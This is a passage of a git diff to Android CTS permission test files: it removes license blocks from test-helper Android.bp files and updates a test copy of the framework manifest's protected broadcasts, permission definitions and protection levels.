-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptOutSdk30",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 21e6ace..843176f 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -14,11 +14,7 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk22",
     defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index c7f30a8..c0b5fd6 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -14,11 +14,7 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk28",
     defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 8ad13f7..e1a43da 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptOutSdk29",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 9c0a66c..2f1215c 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -42,6 +42,9 @@
     <protected-broadcast android:name="android.intent.action.PACKAGE_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_CHANGED" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_STARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_UNSTARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_LOADED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.CANCEL_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.ROLLBACK_COMMITTED" />
@@ -96,18 +99,19 @@
     <protected-broadcast android:name="android.intent.action.OVERLAY_PRIORITY_CHANGED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_SUSPENDED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_UNSUSPENDED" />
-    <protected-broadcast android:name="android.intent.action.LOAD_DATA" />
 
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED" />
-    <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGING" />
     <protected-broadcast android:name="android.os.action.DEVICE_IDLE_MODE_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
+    <protected-broadcast android:name="android.os.action.ENHANCED_DISCHARGE_PREDICTION_CHANGED" />
 
     <!-- @deprecated This is rarely used and will be phased out soon. -->
     <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.CLOSE_NOTIFICATION_HANDLER_PANEL" />
+
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -116,6 +120,12 @@
     <protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
     <protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.USER_ADDED" />
+    <protected-broadcast android:name="android.app.action.USER_REMOVED" />
+    <protected-broadcast android:name="android.app.action.USER_STARTED" />
+    <protected-broadcast android:name="android.app.action.USER_STOPPED" />
+    <protected-broadcast android:name="android.app.action.USER_SWITCHED" />
+
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARING_DECLINED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_FAILED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARE" />
@@ -145,7 +155,7 @@
     <protected-broadcast android:name="android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.UUID" />
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
-    <protected-broadcast android:name="android.bluetooth.action.ALIAS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
     <protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
@@ -229,12 +239,16 @@
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_READ_STATUS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELETED_STATUS_CHANGED" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
         android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast
+        android:name="android.bluetooth.action.TETHERING_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbapclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -265,6 +279,7 @@
     <protected-broadcast android:name="android.hardware.usb.action.USB_PORT_CHANGED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_DETACHED" />
+    <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_HANDSHAKE" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_DETACHED" />
 
@@ -351,8 +366,9 @@
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISMISSED" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_CARRIER" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_ALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISMISSED" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
@@ -399,6 +415,9 @@
     <protected-broadcast android:name="android.intent.action.AIRPLANE_MODE" />
     <protected-broadcast android:name="android.intent.action.ADVANCED_SETTINGS" />
     <protected-broadcast android:name="android.intent.action.APPLICATION_RESTRICTIONS_CHANGED" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
 
     <!-- Legacy -->
     <protected-broadcast android:name="android.intent.action.ACTION_IDLE_MAINTENANCE_START" />
@@ -520,8 +539,10 @@
     <protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
     <protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
     <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
+    <protected-broadcast android:name="com.android.settings.wifi.action.NETWORK_REQUEST" />
 
     <protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
+    <protected-broadcast android:name="NotificationHistoryDatabase.CLEANUP" />
     <protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
     <protected-broadcast android:name="EventConditionProvider.EVALUATE" />
     <protected-broadcast android:name="SnoozeHelper.EVALUATE" />
@@ -552,6 +573,7 @@
     <protected-broadcast android:name="android.os.action.ACTION_EFFECTS_SUPPRESSOR_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED" />
+    <protected-broadcast android:name="android.app.action.NOTIFICATION_LISTENER_ENABLED_CHANGED" />
     <protected-broadcast android:name="android.app.action.APP_BLOCK_STATE_CHANGED" />
 
     <protected-broadcast android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS" />
@@ -594,6 +616,9 @@
     <protected-broadcast android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
     <protected-broadcast android:name="com.android.server.pm.DISABLE_QUIET_MODE_AFTER_UNLOCK" />
 
+    <protected-broadcast android:name="android.intent.action.PROFILE_ACCESSIBLE" />
+    <protected-broadcast android:name="android.intent.action.PROFILE_INACCESSIBLE" />
+
     <protected-broadcast android:name="com.android.server.retaildemo.ACTION_RESET_DEMO" />
 
     <protected-broadcast android:name="android.intent.action.DEVICE_LOCKED_CHANGED" />
@@ -646,9 +671,16 @@
 
     <protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
 
+    <!-- Added in R -->
+    <protected-broadcast android:name="android.app.action.RESET_PROTECTION_POLICY_CHANGED" />
+
     <!-- For tether entitlement recheck-->
     <protected-broadcast
         android:name="com.android.server.connectivity.tethering.PROVISIONING_RECHECK_ALARM" />
+
+    <!-- Made protected in S (was added in R) -->
+    <protected-broadcast android:name="com.android.internal.intent.action.BUGREPORT_REQUESTED" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
@@ -881,11 +913,11 @@
 
       <p> This is a soft restricted permission which cannot be held by an app it its
       full form until the installer on record whitelists the permission.
-      Specifically, if the permission is whitelisted the holder app can access
+      Specifically, if the permission is allowlisted the holder app can access
       external storage and the visual and aural media collections while if the
-      permission is not whitelisted the holder app can only access to the visual
+      permission is not allowlisted the holder app can only access to the visual
       and aural medial collections. Also the permission is immutably restricted
-      meaning that the whitelist state can be specified only at install time and
+      meaning that the allowlist state can be specified only at install time and
       cannot change until the app is installed. For more details see
       {@link android.content.pm.PackageInstaller.SessionParams#setWhitelistedRestrictedPermissions(Set)}.
      <p>Protection level: dangerous -->
@@ -909,7 +941,7 @@
          read/write files in your application-specific directories returned by
          {@link android.content.Context#getExternalFilesDir} and
          {@link android.content.Context#getExternalCacheDir}.
-         <p>If this permission is not whitelisted for an app that targets an API level before
+         <p>If this permission is not allowlisted for an app that targets an API level before
          {@link android.os.Build.VERSION_CODES#Q} this permission cannot be granted to apps.</p>
          <p>Protection level: dangerous</p>
     -->
@@ -1014,6 +1046,14 @@
         android:description="@string/permdesc_accessImsCallService"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to perform IMS Single Registration related actions.
+         Only granted if the application is a system app AND is in the Default SMS Role.
+         The permission is revoked when the app is taken out of the Default SMS Role.
+        <p>Protection level: internal|role
+    -->
+    <permission android:name="android.permission.PERFORM_IMS_SINGLE_REGISTRATION"
+        android:protectionLevel="internal|role" />
+
     <!-- Allows an application to read the user's call log.
          <p class="note"><strong>Note:</strong> If your app uses the
          {@link #READ_CONTACTS} permission and <em>both</em> your <a
@@ -1181,8 +1221,10 @@
                 android:description="@string/permdesc_callCompanionApp"
                 android:protectionLevel="normal" />
 
-    <!-- Exempt this uid from restrictions to background audio recording
+    <!-- Exempt this uid from restrictions to background audio recoding
      <p>Protection level: signature|privileged
+     @hide
+     @SystemApi
     -->
     <permission android:name="android.permission.EXEMPT_FROM_AUDIO_RECORD_RESTRICTIONS"
                 android:label="@string/permlab_exemptFromAudioRecordRestrictions"
@@ -1227,8 +1269,19 @@
         android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_recordAudio"
         android:description="@string/permdesc_recordAudio"
+        android:backgroundPermission="android.permission.RECORD_BACKGROUND_AUDIO"
         android:protectionLevel="dangerous|instant" />
 
+    <!-- Allows an application to record audio while in the background.
+         <p>Protection level: dangerous
+    -->
+    <permission android:name="android.permission.RECORD_BACKGROUND_AUDIO"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_recordBackgroundAudio"
+        android:description="@string/permdesc_recordBackgroundAudio"
+        android:permissionFlags="hardRestricted|installerExemptIgnored"
+        android:protectionLevel="dangerous" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for activity recognition                        -->
     <!-- ====================================================================== -->
@@ -1256,6 +1309,8 @@
 
     <!-- @hide Allows an application to Access UCE-Presence.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -1263,6 +1318,8 @@
 
     <!-- @hide Allows an application to Access UCE-OPTIONS.
          <p>Protection level: signature|privileged
+         @deprecated Framework should no longer use this permission to access the vendor UCE service
+         using AIDL, it is instead implemented by RcsCapabilityExchangeImplBase
     -->
     <permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
         android:permissionGroup="android.permission-group.PHONE"
@@ -1296,9 +1353,20 @@
         android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_camera"
         android:description="@string/permdesc_camera"
+        android:backgroundPermission="android.permission.BACKGROUND_CAMERA"
         android:protectionLevel="dangerous|instant" />
 
-      <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+    <!-- Required to be able to access the camera device in the background.
+         <p>Protection level: dangerous
+    -->
+    <permission android:name="android.permission.BACKGROUND_CAMERA"
+            android:permissionGroup="android.permission-group.UNDEFINED"
+            android:label="@string/permlab_backgroundCamera"
+            android:description="@string/permdesc_backgroundCamera"
+            android:permissionFlags="hardRestricted|installerExemptIgnored"
+            android:protectionLevel="dangerous" />
+
+    <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
            system only camera devices.
            <p>Protection level: system|signature
            @hide -->
@@ -1309,7 +1377,7 @@
         android:protectionLevel="system|signature" />
 
     <!-- Allows receiving the camera service notifications when a camera is opened
-        (by a certain application package) or closed.
+            (by a certain application package) or closed.
         @hide -->
     <permission android:name="android.permission.CAMERA_OPEN_CLOSE_LISTENER"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1330,8 +1398,17 @@
         android:description="@string/permgroupdesc_sensors"
         android:priority="800" />
 
+    <!-- Allows an app to access sensor data with a sampling rate greater than 200 Hz.
+        <p>Protection level: normal
+    -->
+    <permission android:name="android.permission.HIGH_SAMPLING_RATE_SENSORS"
+                android:permissionGroup="android.permission-group.SENSORS"
+                android:label="@string/permlab_highSamplingRateSensors"
+                android:description="@string/permdesc_highSamplingRateSensors"
+                android:protectionLevel="normal" />
+
     <!-- Allows an application to access data from sensors that the user uses to
-         measure what is happening inside his/her body, such as heart rate.
+         measure what is happening inside their body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1536,6 +1613,31 @@
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows an application to provide location-based time zone suggestions to
+         the system server. This is needed because the system server discovers time zone providers
+         by exposed intent actions and metadata, without it any app could potentially register
+         itself as time zone provider. The system server checks for this permission.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- The system server uses this permission to install a default secondary location time zone
+         provider.
+    -->
+    <uses-permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"/>
+
+    <!-- @SystemApi @hide Allows an application to bind to a android.service.TimeZoneProviderService
+         for the purpose of detecting the device's time zone. This prevents arbitrary clients
+         connecting to the time zone provider service. The system server checks that the provider's
+         intent service explicitly sets this permission via the android:permission attribute of the
+         service.
+         This is only expected to be possessed by the system server outside of tests.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
     -->
@@ -1664,7 +1766,7 @@
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Connectivity and Wifi Services.
     -->
     <permission android:name="android.permission.NETWORK_STACK"
@@ -1684,7 +1786,7 @@
 
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Settings and SystemUI.
     -->
     <permission android:name="android.permission.NETWORK_SETTINGS"
@@ -1762,14 +1864,14 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
-         <p>Not for use by third-party applications. -->
+             <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
         android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
-        android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to manage an automotive device's application network
          preference as it relates to OEM_PAID and OEM_PRIVATE capable networks.
@@ -1846,6 +1948,9 @@
         android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an internal user to use privileged SecureElement APIs.
+         Applications holding this permission can access OMAPI reset system API
+         and bypass OMAPI AccessControlEnforcer.
+         <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SECURE_ELEMENT_PRIVILEGED_OPERATION"
         android:protectionLevel="signature|privileged" />
@@ -1962,6 +2067,10 @@
     <permission android:name="android.permission.VIBRATE_ALWAYS_ON"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows access to the vibrator state.
+         <p>Protection level: signature
+         @hide
+    -->
     <permission android:name="android.permission.ACCESS_VIBRATOR_STATE"
         android:label="@string/permdesc_vibrator_state"
         android:description="@string/permdesc_vibrator_state"
@@ -2158,18 +2267,30 @@
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows read access to privileged phone state.
+    <!-- @SystemApi @TestApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Allows read access to privileged network state in the device config.
+         @hide Used internally. -->
+    <permission android:name="android.permission.READ_NETWORK_DEVICE_CONFIG"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
+         Often required in authentication to access the carrier's server and manage services
+         of the subscriber.
+         <p>Protection level: signature|appop -->
+    <permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER"
+        android:protectionLevel="signature|appop" />
+
     <!-- @SystemApi Allows read access to emergency number information for ongoing calls or SMS
          sessions.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows listen permission to always reported signal strength.
+    <!-- Allows listen permission to always reported signal strength.
          @hide Used internally. -->
     <permission android:name="android.permission.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH"
         android:protectionLevel="signature" />
@@ -2201,7 +2322,7 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- Allows to query ongoing call details and manage ongoing calls
-        <p>Protection level: signature|appop -->
+     <p>Protection level: signature|appop -->
     <permission android:name="android.permission.MANAGE_ONGOING_CALLS"
         android:protectionLevel="signature|appop" />
 
@@ -2339,6 +2460,15 @@
     <permission android:name="android.permission.BIND_GBA_SERVICE"
         android:protectionLevel="signature" />
 
+    <!-- Required for an Application to access APIs related to RCS User Capability Exchange.
+         <p> This permission is only granted to system applications fulfilling the SMS, Dialer, and
+         Contacts app roles.
+         <p>Protection level: internal|role
+         @SystemApi
+         @hide -->
+    <permission android:name="android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE"
+        android:protectionLevel="internal|role" />
+
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
     <!-- ================================== -->
@@ -2443,7 +2573,7 @@
     <!-- Allows an application to start a task from a ActivityManager#RecentTaskInfo.
          @hide -->
     <permission android:name="android.permission.START_TASKS_FROM_RECENTS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to do interactions
          across the users on the device, using singleton services and
@@ -2468,7 +2598,7 @@
          interact across profiles in the same profile group.
          @hide -->
     <permission android:name="android.permission.CONFIGURE_INTERACT_ACROSS_PROFILES"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
@@ -2477,8 +2607,9 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to create, remove users and get the list of
-         users on the device. Applications holding this permission can only create restricted,
-         guest, managed, demo, and ephemeral users. For creating other kind of users,
+         users on the device. Applications holding this permission can create users (including
+         normal, restricted, guest, managed, and demo users) and can optionally endow them with the
+         ephemeral property. For creating users with other kinds of properties,
          {@link android.Manifest.permission#MANAGE_USERS} is needed.
          This permission is not available to third party applications. -->
     <permission android:name="android.permission.CREATE_USERS"
@@ -2511,12 +2642,17 @@
 
     <!-- @SystemApi @TestApi @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-        android:protectionLevel="signature|documenter" />
+        android:protectionLevel="signature|documenter|recents" />
 
-    <!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
+    <!-- @deprecated Use MANAGE_ACTIVITY_TASKS instead.
+         @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove tasks -->
+    <permission android:name="android.permission.MANAGE_ACTIVITY_TASKS"
+        android:protectionLevel="signature|recents" />
+
     <!-- @SystemApi @TestApi @hide Allows an application to embed other activities -->
     <permission android:name="android.permission.ACTIVITY_EMBEDDING"
                 android:protectionLevel="signature|privileged" />
@@ -2527,11 +2663,14 @@
     <permission android:name="android.permission.START_ANY_ACTIVITY"
         android:protectionLevel="signature" />
 
-    <!-- Allows an application to start activities from background
-         @hide -->
+    <!-- @SystemApi @hide Allows an application to start activities from background -->
     <permission android:name="android.permission.START_ACTIVITIES_FROM_BACKGROUND"
         android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier" />
 
+    <!-- @SystemApi @hide Allows an application to start foreground services from background -->
+    <permission android:name="android.permission.START_FOREGROUND_SERVICES_FROM_BACKGROUND"
+                android:protectionLevel="signature|privileged|vendorPrivileged|oem|verifier" />
+
     <!-- @SystemApi Must be required by activities that handle the intent action
          {@link Intent#ACTION_SEND_SHOW_SUSPENDED_APP_DETAILS}. This is for use by apps that
          hold {@link Manifest.permission#SUSPEND_APPS} to interact with the system.
@@ -2593,11 +2732,24 @@
          The app can check whether it has this authorization by calling
          {@link android.provider.Settings#canDrawOverlays
          Settings.canDrawOverlays()}.
-         <p>Protection level: signature|preinstalled|appop|pre23|development -->
+         <p>Protection level: signature|appop|installer|appPredictor|pre23|development -->
     <permission android:name="android.permission.SYSTEM_ALERT_WINDOW"
         android:label="@string/permlab_systemAlertWindow"
         android:description="@string/permdesc_systemAlertWindow"
-        android:protectionLevel="signature|preinstalled|appop|pre23|development" />
+        android:protectionLevel="signature|appop|installer|appPredictor|pre23|development" />
+
+    <!-- @SystemApi @hide Allows an application to create windows using the type
+         {@link android.view.WindowManager.LayoutParams#TYPE_APPLICATION_OVERLAY},
+         shown on top of all other apps.
+
+         Allows an application to use
+         {@link android.view.WindowManager.LayoutsParams#setSystemApplicationOverlay(boolean)}
+         to create overlays that will stay visible, even if another window is requesting overlays to
+         be hidden through {@link android.view.Window#setHideOverlayWindows(boolean)}.
+
+         <p>Not for use by third-party applications. -->
+    <permission android:name="android.permission.SYSTEM_APPLICATION_OVERLAY"
+                android:protectionLevel="signature|recents|wellbeing"/>
 
     <!-- @deprecated Use {@link android.Manifest.permission#REQUEST_COMPANION_RUN_IN_BACKGROUND}
          @hide
@@ -2637,6 +2789,14 @@
                 android:description="@string/permdesc_useDataInBackground"
                 android:protectionLevel="normal" />
 
+    <!-- Allows app to request to be associated with a device via
+         {@link android.companion.CompanionDeviceManager}
+         as a "watch"
+         <p>Protection level: normal
+     -->
+    <permission android:name="android.permission.REQUEST_COMPANION_PROFILE_WATCH"
+                android:protectionLevel="normal" />
+
     <!-- Allows a companion app to associate to Wi-Fi.
          <p>Only for use by a single pre-approved app.
          @hide
@@ -2645,6 +2805,25 @@
     <permission android:name="android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an app to read and listen to projection state.
+         @hide
+         @SystemApi
+    -->
+    <permission android:name="android.permission.READ_PROJECTION_STATE"
+                android:protectionLevel="signature" />
+
+    <!-- Allows an app to set and release automotive projection.
+         <p>Once permissions can be granted via role-only, this needs to be changed to
+          protectionLevel="role" and added to the SYSTEM_AUTOMOTIVE_PROJECTION role.
+         @hide
+         @SystemApi
+    -->
+    <permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Allows an app to prevent non-system-overlay windows from being drawn on top of it -->
+    <permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"
+                android:protectionLevel="normal" />
 
     <!-- ================================== -->
     <!-- Permissions affecting the system wallpaper -->
@@ -2711,7 +2890,7 @@
     <!-- Allows applications like settings to manage configuration associated with automatic time
          and time zone detection.
          <p>Not for use by third-party applications.
-         @hide
+         @SystemApi @hide
     -->
     <permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION"
         android:protectionLevel="signature|privileged" />
@@ -2831,7 +3010,7 @@
     <permission android:name="android.permission.READ_DEVICE_CONFIG"
         android:protectionLevel="signature|preinstalled" />
 
-    <!-- @hide Allows an application to monitor config settings access.
+    <!-- @hide Allows an application to monitor {@link android.provider.Settings.Config} access.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MONITOR_DEVICE_CONFIG_ACCESS"
         android:protectionLevel="signature"/>
@@ -2988,7 +3167,7 @@
     <!-- @SystemApi Allows an application to read system update info.
          @hide -->
     <permission android:name="android.permission.READ_SYSTEM_UPDATE_INFO"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows the system to bind to an application's task services
          @hide -->
@@ -3048,6 +3227,11 @@
